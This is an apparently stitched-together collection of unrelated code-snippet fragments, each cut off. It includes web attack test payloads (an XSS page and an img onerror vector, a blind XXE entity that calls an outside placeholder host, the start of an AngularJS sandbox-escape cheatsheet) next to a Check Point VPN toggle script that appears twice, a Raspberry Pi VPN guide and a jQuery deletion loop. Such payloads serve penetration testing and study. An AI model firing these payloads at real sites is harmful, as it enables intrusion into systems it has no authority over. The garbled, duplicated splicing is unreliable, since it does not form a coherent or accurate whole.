| <html> | |
| <head> | |
| <title>xss example</title> | |
| <script> | |
| //my awesome js | |
| function a(){alert(1)} | |
| </script> | |
| </head> | |
| <body> |
| #!/bin/bash | |
| # | |
| # The reason of creating this script is that Endpoint Security VPN installs it's own application firewall kext cpfw.kext | |
| # which prevents for example PPTP connections from this computer, which is not appropriate if you need subj connection just | |
| # from time to time | |
| # | |
| # Usage: ./checkpoint.sh | |
| # | |
| # The script checks if Enpoint Security VPN is running. If it is, then it shuts it down, if it is not, it fires it up. | |
| # Or, make an Automator action and paste the script. |
| <img/src/onerror=alert(1)> |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| # | |
| # safeseh_inspect.py | |
| # | |
| # Copyright 2014 Spencer McIntyre | |
| # | |
| # Redistribution and use in source and binary forms, with or without | |
| # modification, are permitted provided that the following conditions are | |
| # met: |
| #!/bin/bash | |
| # | |
| # The reason of creating this script is that Endpoint Security VPN installs it's own application firewall kext cpfw.kext | |
| # which prevents for example PPTP connections from this computer, which is not appropriate if you need subj connection just | |
| # from time to time | |
| # | |
| # Usage: ./checkpoint.sh | |
| # | |
| # The script checks if Enpoint Security VPN is running. If it is, then it shuts it down, if it is not, it fires it up. | |
| # Or, make an Automator action and paste the script. |
This is a quick-and-dirty guide to setting up a Raspberry Pi as a "router on a stick" to PrivateInternetAccess VPN.
Install Raspbian Jessie (2016-05-27-raspbian-jessie.img) to your Pi's sdcard.
Use the Raspberry Pi Configuration tool or sudo raspi-config to:
| #!/bin/bash | |
| # Toggle Checkpoint VPN firewall and VPN client | |
| # | |
| # http://git.io/vWAPU | |
| set -e | |
| APP='/Applications/Endpoint Security VPN.app' | |
| KEXT='/System/Library/Extensions/cpfw.kext' | |
| PLIST='/Library/LaunchDaemons/com.checkpoint.epc.service.plist' | |
| SERVICE='com.checkpoint.epc.service' |
| $ = jQuery; | |
| var indexToDelete = 0; | |
| var numOfLinksToDelete = 200; | |
| var waitUntilNextLinkInMs = 1000; | |
| var waitForModalInMs = 50; | |
| var confirmDelete = function() { | |
| setTimeout(function() { | |
| var $confirmationButtonInModal = $(".button-primary"); |
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1